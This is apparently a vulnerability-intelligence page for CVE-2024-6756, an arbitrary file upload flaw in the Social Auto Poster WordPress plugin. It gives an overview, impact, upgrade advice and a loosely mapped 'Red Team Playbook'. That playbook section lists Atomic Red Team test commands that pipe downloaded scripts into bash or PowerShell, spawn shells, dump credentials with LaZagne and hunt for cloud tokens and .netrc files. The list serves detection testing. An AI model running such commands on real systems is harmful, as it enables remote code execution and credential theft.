CVE-2024-6756
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the 'wpw_auto_poster_get_image_path' function. The affected component is the Social Auto Poster WordPress plugin, specifically versions up to and including 5.3.14. The root cause is the failure to enforce proper file type checks on user-supplied input during file upload processing, allowing unauthorized file formats to be saved on the server.
Vulnerability Description
The Social Auto Poster plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpw_auto_poster_get_image_path' function in all versions up to, and including, 5.3.14. This makes it possible for authenticated attackers, with Contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible. An attacker can use CVE-2024-6754 to exploit with subscriber-level access.
Impact
An attacker with authenticated access at Contributor level or above can upload arbitrary files to the affected server, potentially leading to remote code execution. The prerequisite is valid user credentials with at least Contributor permissions; however, exploitation with Subscriber-level access is also possible via a related vulnerability. Successful exploitation may result in full site compromise, data breach, or service disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attackability with low complexity and no user interaction required beyond authentication.
Solution
Users should upgrade the Social Auto Poster plugin to a version later than 5.3.14 where the vulnerability has been addressed. Detailed remediation guidance and patch availability are documented in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/24e00c0d-08ff-4c68-a1dd-77b513545efd). No official workaround is provided; therefore, updating the plugin to the fixed version is the recommended mitigation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Social Auto Poster plugin for WordPress arises from inadequate file type validation within the 'wpw_auto_poster_get_image_path' function. This oversight allows authenticated users, specifically those with Contributor-level permissions and above, to upload arbitrary files to the server. The lack of stringent checks on file types means that an attacker can potentially upload malicious scripts disguised as legitimate files. This flaw is particularly concerning as it opens the door to remote code execution, enabling attackers to execute arbitrary code on the server, which can lead to severe consequences for the affected website.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with appropriate permissions can craft a malicious file, such as a PHP script, and upload it via the plugin’s interface. Once the file is successfully uploaded, the attacker can access it directly through the web server, executing the code contained within. This scenario can be exacerbated if the attacker also leverages another vulnerability that allows for access with lower privileges, such as the one that permits subscriber-level access. By chaining these vulnerabilities, an attacker could escalate their privileges and gain full control over the affected WordPress site.
The real-world impact of this vulnerability is significant, particularly for businesses relying on WordPress for their online presence. Successful exploitation can lead to unauthorized access to sensitive data, website defacement, or even the complete takeover of the web server. This not only jeopardizes the integrity and confidentiality of the data stored on the server but also damages the organization's reputation and erodes customer trust. Furthermore, the potential for data breaches can result in regulatory penalties and financial losses, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify and remediate weaknesses in the WordPress environment. Additionally, maintaining an up-to-date version of the Social Auto Poster plugin is crucial, as updates often include patches for known vulnerabilities. Employing a web application firewall (WAF) can also provide an additional layer of security by filtering out malicious requests before they reach the server. Furthermore, organizations should enforce the principle of least privilege, ensuring that users have only the permissions necessary for their roles, thereby reducing the attack surface.
In conclusion, the vulnerability in the Social Auto Poster plugin poses a serious threat to WordPress sites, particularly those with inadequate security measures. The potential for arbitrary file uploads leading to remote code execution can have devastating consequences for businesses. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. Continuous vigilance and proactive security practices are essential in safeguarding digital assets in an increasingly complex threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpwebinfotech | Social Auto Poster | All |
cpe:2.3:a:wpwebinfotech:social_auto_poster:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6756 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/24e00c0d-08ff-4c68-a1dd-77b513545efd?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/social-auto-poster-wordpress-scheduler-marketing-plugin/5754169 |